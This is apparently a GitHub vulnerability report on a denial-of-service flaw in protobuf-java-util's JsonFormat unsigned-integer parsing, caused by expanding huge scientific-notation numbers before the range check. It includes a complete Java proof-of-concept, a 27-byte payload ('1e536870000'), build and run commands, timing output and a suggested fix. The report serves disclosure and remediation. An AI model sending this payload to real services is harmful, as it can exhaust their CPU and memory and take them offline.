-
Notifications
You must be signed in to change notification settings - Fork 16.1k
Description
Version: protobuf 30.2 (commit efa2ab2), Java JDK 21
Operating System: Ubuntu 25.04
Summary
A potential denial-of-service vulnerability exists in protobuf-java-util that allows an attacker to consume disproportional amounts of CPU time and memory when parsing unsigned integers via JsonFormat.java.
JsonFormat.parseUint64() (and similar functions) calls toBigIntegerExact() on attacker-controlled input, materializing the full 10^N integer before range-checking. Malicious inputs using scientific notation burn minutes of CPU and GBs of memory.
Vulnerability
parseUint32 and parseUint64 in JsonFormat.java convert JSON numbers to integers via new BigDecimal(str).toBigIntegerExact():
// JsonFormat.java:1814-1815
BigDecimal decimalValue = new BigDecimal(json.getAsString()); // O(1)
BigInteger value = decimalValue.toBigIntegerExact(); // O(N)BigDecimal stores inputs like 1e536870000 as a compact pair (intVal=1, scale=-536870000) in O(1). However, toBigIntegerExact() materializes the full value: it calls BigInteger.TEN.pow(536870000), which runs repeated squaring to produce a 536-million-digit number. The range check against MAX_UINT64 runs after this computation completes. The same pattern appears in parseUint32 (JsonFormat.java:1795).
Four field types are affected: uint32, uint64, fixed32, fixed64. The fixed32/fixed64 types dispatch to parseUint32/parseUint64 respectively (JsonFormat.java:1991-1996).
Preconditions
Both public methods on JsonFormat.Parser (from protobuf-java-util) are affected:
JsonFormat.parser().merge(String json, Message.Builder builder)JsonFormat.parser().merge(Reader json, Message.Builder builder)
The target message must have at least one uint32, uint64, fixed32, or fixed64 field. Binary protobuf parsing (Message.parseFrom(), gRPC) does not use JsonFormat and is unaffected.
Impact
A single 27-byte request ties up one thread for multiple minutes (depending on hardware) and allocates over 2.5 GB of heap memory. BigInteger.pow() does not check for thread interruption, so cancellation mechanisms are difficult to implement. The value is rejected by the range check only after the full materialization completes.
Services that accept JSON and parse it into protobuf messages via JsonFormat are targets (REST APIs, webhook handlers, API gateways with JSON-to-protobuf transcoding). Concurrent malicious requests could likely cause extended denial-of-service.
Several open-source projects are likely affected.
Proof of concept
Save the following code as BigDecimalExploit.java:
package exploit;
import com.google.protobuf.DescriptorProtos.DescriptorProto;
import com.google.protobuf.DescriptorProtos.FieldDescriptorProto;
import com.google.protobuf.DescriptorProtos.FileDescriptorProto;
import com.google.protobuf.Descriptors.Descriptor;
import com.google.protobuf.Descriptors.FileDescriptor;
import com.google.protobuf.DynamicMessage;
import com.google.protobuf.util.JsonFormat;
public class BigDecimalExploit {
public static void main(String[] args) throws Exception {
String exponent = args.length > 0 ? args[0] : "536870000";
Descriptor descriptor = buildDescriptor();
String payload = "{\"vulnerable\": 1e" + exponent + "}";
System.out.println("Payload: " + payload);
System.out.println("Payload size: " + payload.length() + " bytes");
Runtime rt = Runtime.getRuntime();
rt.gc();
long memBefore = rt.totalMemory() - rt.freeMemory();
long startNs = System.nanoTime();
try {
DynamicMessage.Builder builder = DynamicMessage.newBuilder(descriptor);
JsonFormat.parser().merge(payload, builder);
long elapsedMs = (System.nanoTime() - startNs) / 1_000_000;
long memDeltaMB = ((rt.totalMemory() - rt.freeMemory()) - memBefore) / (1024 * 1024);
printResult(elapsedMs, memDeltaMB, payload.length(), null);
} catch (Exception e) {
long elapsedMs = (System.nanoTime() - startNs) / 1_000_000;
long memDeltaMB = ((rt.totalMemory() - rt.freeMemory()) - memBefore) / (1024 * 1024);
printResult(elapsedMs, memDeltaMB, payload.length(), e);
}
}
private static Descriptor buildDescriptor() throws Exception {
FileDescriptorProto fileProto = FileDescriptorProto.newBuilder()
.setName("exploit.proto")
.addMessageType(DescriptorProto.newBuilder()
.setName("Msg")
.addField(FieldDescriptorProto.newBuilder()
.setName("vulnerable")
.setNumber(1)
.setType(FieldDescriptorProto.Type.TYPE_UINT64)))
.build();
FileDescriptor fd = FileDescriptor.buildFrom(fileProto, new FileDescriptor[0]);
return fd.findMessageTypeByName("Msg");
}
private static void printResult(long elapsedMs, long memDeltaMB, int payloadSize, Exception e) {
System.out.println();
if (e != null) {
System.out.println("Exception: " + e.getClass().getSimpleName());
System.out.println("Message: " + truncate(e.getMessage(), 120));
} else {
System.out.println("Parse completed.");
}
System.out.println();
System.out.printf("Time elapsed: %,d ms%n", elapsedMs);
System.out.printf("Memory delta: ~%d MB%n", memDeltaMB);
System.out.printf("Amplification: %d bytes -> %,d ms CPU + ~%d MB RAM%n",
payloadSize, elapsedMs, memDeltaMB);
}
private static String truncate(String s, int max) {
if (s == null) return "<null>";
return s.length() <= max ? s : s.substring(0, max) + "...";
}
}Build and run
cd protobuf
bazel build //java/core:core //java/util:util
mkdir -p exploit_out/exploit
cp BigDecimalExploit.java exploit_out/exploit/
GSON=$(find $(bazel info output_base)/external -name "gson*.jar" | head -1)
CP=bazel-bin/java/core/libcore.jar:bazel-bin/java/core/liblite_runtime_only.jar:bazel-bin/java/util/libutil.jar:$GSON
javac -cp "$CP" exploit_out/exploit/BigDecimalExploit.java
java -Xmx4g -cp "exploit_out:$CP" exploit.BigDecimalExploitExpected output
Payload: {"vulnerable": 1e536870000}
Payload size: 27 bytes
Exception: InvalidProtocolBufferException
Message: Out of range uint64 value: 1e536870000
Time elapsed: 653,001 ms
Memory delta: ~2595 MB (post-computation; peak RSS during execution is higher)
Amplification: 27 bytes -> 653,001 ms CPU + ~2595 MB RAM
Suggested fix
Check the number of integer digits before calling toBigIntegerExact() (adapt the number for uint32 accordingly):
BigDecimal decimalValue = new BigDecimal(json.getAsString());
if (decimalValue.signum() < 0 || (long) decimalValue.precision() - decimalValue.scale() > 20) {
throw new InvalidProtocolBufferException("Out of range uint64 value: " + json);
}
BigInteger value = decimalValue.toBigIntegerExact();